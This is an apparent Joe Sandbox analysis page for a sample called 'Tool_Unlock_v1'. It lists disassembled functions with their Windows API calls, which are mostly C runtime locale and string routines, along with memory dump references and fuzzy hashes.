Instruction Fuzzy Hash: 3C51A671905108AFCF229F289C84EBFB7B9DF86304F144299FC089B261EB309D499B60

Function 00351840 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0034C16A: GetLastError.KERNEL32(?,?,00345495,00368E38,0000000C), ref: 0034C16E
Part of subcall function 0034C16A: SetLastError.KERNEL32(00000000), ref: 0034C210

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00351894

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 8ac6b61c331c61824caa077b08554ce33e10ee2432e08368f054b02decf2a210
Instruction ID: 86ff46eb5d7e61274cf6c7224a52da2a65801de32a4e2a6930ee52dea99ec432
Opcode Fuzzy Hash: 8ac6b61c331c61824caa077b08554ce33e10ee2432e08368f054b02decf2a210
Instruction Fuzzy Hash: CF219572611206ABDB2A9B25DC42FBA77ECEF04716F11407AFD02CA161EB74ED48DB50

Function 003514D8 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0034C16A: GetLastError.KERNEL32(?,?,00345495,00368E38,0000000C), ref: 0034C16E
Part of subcall function 0034C16A: SetLastError.KERNEL32(00000000), ref: 0034C210

EnumSystemLocalesW.KERNEL32(00351580,00000001,00000000,?,-00000050,?,00351363,00000000,-00000002,00000000,?,00000055,?), ref: 0035154A

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: bf06126787560fff1fbf2b8a49bcc915348565ed5d0fcf61fb08b54165a43926
Instruction ID: 50c23ab1ec8571c111317e84c09c4df3d2e6b56b9cb6686e205b0af69b467c0f
Opcode Fuzzy Hash: bf06126787560fff1fbf2b8a49bcc915348565ed5d0fcf61fb08b54165a43926
Instruction Fuzzy Hash: EF1125362007015FDB199F39C891ABAB7A1FF80769B15482CE9878BB50E3B1B946C740

Function 00351960 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 0034C16A: GetLastError.KERNEL32(?,?,00345495,00368E38,0000000C), ref: 0034C16E
Part of subcall function 0034C16A: SetLastError.KERNEL32(00000000), ref: 0034C210

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 003519B4

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 2acce8b5978a3cc07d082031759cca175ab267e72a442797ec9d0bbacce16bec
Instruction ID: 58b05898dfb88674eb21d5ef198406357ad17dd9489f08ee145c7ccdcf2fce81
Opcode Fuzzy Hash: 2acce8b5978a3cc07d082031759cca175ab267e72a442797ec9d0bbacce16bec
Instruction Fuzzy Hash: E2110232611206ABDB26AF28CC52EBB73ECEF04711B10417AF902CB151EB74ED08C790

Function 00351B0D Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 0034C16A: GetLastError.KERNEL32(?,?,00345495,00368E38,0000000C), ref: 0034C16E
Part of subcall function 0034C16A: SetLastError.KERNEL32(00000000), ref: 0034C210

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0035179C,00000000,00000000,?), ref: 00351B39

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 5dd62733e45c0ab9f4299cc9e6d2adcb888bef09c6c30027d1cdfc8686129dc7
Instruction ID: 174f85232f35b3af91f80edf3ff3a1800621ade065e9d9d1346e9b2485e9958b
Opcode Fuzzy Hash: 5dd62733e45c0ab9f4299cc9e6d2adcb888bef09c6c30027d1cdfc8686129dc7
Instruction Fuzzy Hash: 8A01F933710112ABDB2D5B64CC06FBA3768EF40755F164429ED06A72A0FB70FE45C690

Function 003517D3 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0034C16A: GetLastError.KERNEL32(?,?,00345495,00368E38,0000000C), ref: 0034C16E
Part of subcall function 0034C16A: SetLastError.KERNEL32(00000000), ref: 0034C210

EnumSystemLocalesW.KERNEL32(00351840,00000001,?,?,-00000050,?,0035132B,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 0035181D

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: e1a4345ae601a4df3ee8e6dd9721f2320dd237f4ce5ae6c3e3c5f03d395b6377
Instruction ID: 2b6214a3a145bfced41a0508323bbcb95d1047dbdcfb1fa4886c25e6177b9660
Opcode Fuzzy Hash: e1a4345ae601a4df3ee8e6dd9721f2320dd237f4ce5ae6c3e3c5f03d395b6377
Instruction Fuzzy Hash: A4F0C2362003045FDB365F79D881F6A7B95EB81769F06842DFD458B6A0D6B1AC42C650

Function 0034D1BD Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003480E1: EnterCriticalSection.KERNEL32(?,?,0034C5F8,?,00369290,00000008,0034C4EA,?,?,?), ref: 003480F0

EnumSystemLocalesW.KERNEL32(0034D1B0,00000001,00369310,0000000C,0034CB11,-00000050), ref: 0034D1F5

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 777dbf39bd2cac58967666dd3dd93d33d3268f45a4841d1e970f45c0dc35f0d0
Instruction ID: 9fc55a03cd1521cd2c297de9aa4644bb8b6ff826cdf3697387f4400961501ff7
Opcode Fuzzy Hash: 777dbf39bd2cac58967666dd3dd93d33d3268f45a4841d1e970f45c0dc35f0d0
Instruction Fuzzy Hash: F4F0E776A04204EFDB12EFA8E842B9DB7F4EB45721F10852AF411DB2A0DBB55940CF51

Function 00351915 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0034C16A: GetLastError.KERNEL32(?,?,00345495,00368E38,0000000C), ref: 0034C16E
Part of subcall function 0034C16A: SetLastError.KERNEL32(00000000), ref: 0034C210

EnumSystemLocalesW.KERNEL32(00351960,00000001,?,?,?,00351385,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 0035194C

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: d95a6d11e582ea3ba7d206439bb306789d0b54f018c70b520dafb56de21b1985
Instruction ID: 16a1c6a0416a49e782db3a3817cc7387fa714bc7699244933dd4f3863e6ff7f5
Opcode Fuzzy Hash: d95a6d11e582ea3ba7d206439bb306789d0b54f018c70b520dafb56de21b1985
Instruction Fuzzy Hash: 46F0EC3530020557CB059F35DC65B66BFA4EFC1B51F074059EE058B161C7719846C7D0

Function 0034CC15 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,00346E33,?,20001004,00000000,00000002,?,?,00345D3D), ref: 0034CC49

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 04fa0964befbd558d6517150cc33a1a03cf3242ecec7e96a64b97c199a690210
Instruction ID: f48eb00623421c95557c2cb34379bc72c3d80ca072283491af9942e093614913
Opcode Fuzzy Hash: 04fa0964befbd558d6517150cc33a1a03cf3242ecec7e96a64b97c199a690210
Instruction Fuzzy Hash: AAE04F3150162CBBCF172F60ED05E9E3E9AEF44B50F048021FD056A121CB72AD22AB94

Function 0033F8DD Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000FA00), ref: 0033F8E2

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: b1111504f340349fba5d36f03f9129e98c07b6f1dbd2eaa1f90a6a955a3de46e
Instruction ID: 46c478d7cf8a4333491ba4c07b0cf3946937a1e9c23b4a1970621fcb0acb4d33
Opcode Fuzzy Hash: b1111504f340349fba5d36f03f9129e98c07b6f1dbd2eaa1f90a6a955a3de46e
Instruction Fuzzy Hash:

Function 0034D8E0 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0034D8E0

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: ad7335685b69479fe830f08c0dec87c9763d018cf2f7fd9d8d2a7f73ba620e94
Instruction ID: a824f515b7d7da7dd39ab5288ac34f4be7fb6204c1ab98afb98d16f8ace20330
Opcode Fuzzy Hash: ad7335685b69479fe830f08c0dec87c9763d018cf2f7fd9d8d2a7f73ba620e94
Instruction Fuzzy Hash: 2AA00170B016028B97428F36AA1A2093AADAA45BD1B05C169E845C6168EEB49854AF85

Function 0035AAE2 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(03535468,03535468,00000000,7FFFFFFF,?,0035AACD,03535468,03535468,00000000,03535468,?,?,?,?,03535468,00000000), ref: 0035AB88
__alloca_probe_16.LIBCMT ref: 0035AC43
__alloca_probe_16.LIBCMT ref: 0035ACD2
__freea.LIBCMT ref: 0035AD1D
__freea.LIBCMT ref: 0035AD23
__freea.LIBCMT ref: 0035AD59
__freea.LIBCMT ref: 0035AD5F
__freea.LIBCMT ref: 0035AD6F

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 6fb82c59bc2908aa807e78ea716f21c2efb6991d1b238d33986ae4354e472f3c
Instruction ID: 3d07f6b19798bcf38435414dafe763c3582b2f057f371f085eb7c5996cd40712
Opcode Fuzzy Hash: 6fb82c59bc2908aa807e78ea716f21c2efb6991d1b238d33986ae4354e472f3c
Instruction Fuzzy Hash: F5711B72900A0A5BDF23AE548C51FAF77FADF45312F160255EC04AB2B1E735DC08A792

Function 0033FE29 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 0033FE70
__alloca_probe_16.LIBCMT ref: 0033FE9C
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 0033FEDB
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0033FEF8
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0033FF37
__alloca_probe_16.LIBCMT ref: 0033FF54
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 0033FF96
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 0033FFB9

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 6afb00fcdb80bbd5c0d0cb7ec5f4c941b493b4cb3b006b4093fec247f6c9f226
Instruction ID: 9eba6bd3a52b5772794b57185fdfb74c372511f50560b15d6847b8848e4a9251
Opcode Fuzzy Hash: 6afb00fcdb80bbd5c0d0cb7ec5f4c941b493b4cb3b006b4093fec247f6c9f226
Instruction Fuzzy Hash: 47519E72A0021AAFEF225F60CC85FAB7BA9EF41794F564439FD15EA1A0D770DC108B60

Function 0034EE76 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0034EEFC

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction ID: b2f6edfa681528b6d08fbfe91faccbb8abb1d93a2c4ce2bf1c1890855909139f
Opcode Fuzzy Hash: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction Fuzzy Hash: 03B14672A00355AFEB138F64CC82BAE7BE5EF55310F1A4165E944AF282D774BD05CBA0

Function 00340D40 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00340D77
___except_validate_context_record.LIBVCRUNTIME ref: 00340D7F
_ValidateLocalCookies.LIBCMT ref: 00340E08
__IsNonwritableInCurrentImage.LIBCMT ref: 00340E33
_ValidateLocalCookies.LIBCMT ref: 00340E88

Strings

csm, xrefs: 00340E1D

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: f5f3e36b67446cc2cca063b734656593ca85061669257f1ac4392c5817bbd11a
Instruction ID: 128f81033a761150633fa7e45f5aeb260471a5a1577da9c7ca5f927da425a977
Opcode Fuzzy Hash: f5f3e36b67446cc2cca063b734656593ca85061669257f1ac4392c5817bbd11a
Instruction Fuzzy Hash: 0441EF30E00618ABCF1ADFA8C880A9EBBF5AF45314F148455EA149F352D731FE95CB90

Function 00333C70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00333CA5
std::_Lockit::_Lockit.LIBCPMT ref: 00333CBF
std::_Lockit::~_Lockit.LIBCPMT ref: 00333CE0
__Getctype.LIBCPMT ref: 00333D92
std::_Lockit::~_Lockit.LIBCPMT ref: 00333DD8

Strings

e.6, xrefs: 00333D67

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Getctype
String ID: e.6
API String ID: 3087743877-1977633900
Opcode ID: f326b8f2c85367927235d84497050308525b5611dd95a78f19ed1738071589e0
Instruction ID: 62ca11f85885e528e99842c539255219e0d714d79e28da06fc4cf7b42da6e720
Opcode Fuzzy Hash: f326b8f2c85367927235d84497050308525b5611dd95a78f19ed1738071589e0
Instruction Fuzzy Hash: 0E417971E006188FCB16DF94D881BAEB7B5FF84720F058229D8956B391DB75AE01CF91

Function 00340080 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00340086
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00340094
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 003400A5

Strings

GetSystemTimePreciseAsFileTime, xrefs: 0034008E
GetTempPath2W, xrefs: 0034009A
kernel32.dll, xrefs: 00340081

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: ffb81b457daa90623b972b1cdf93ce8173742bb55817d9ecc62d494be6f73944
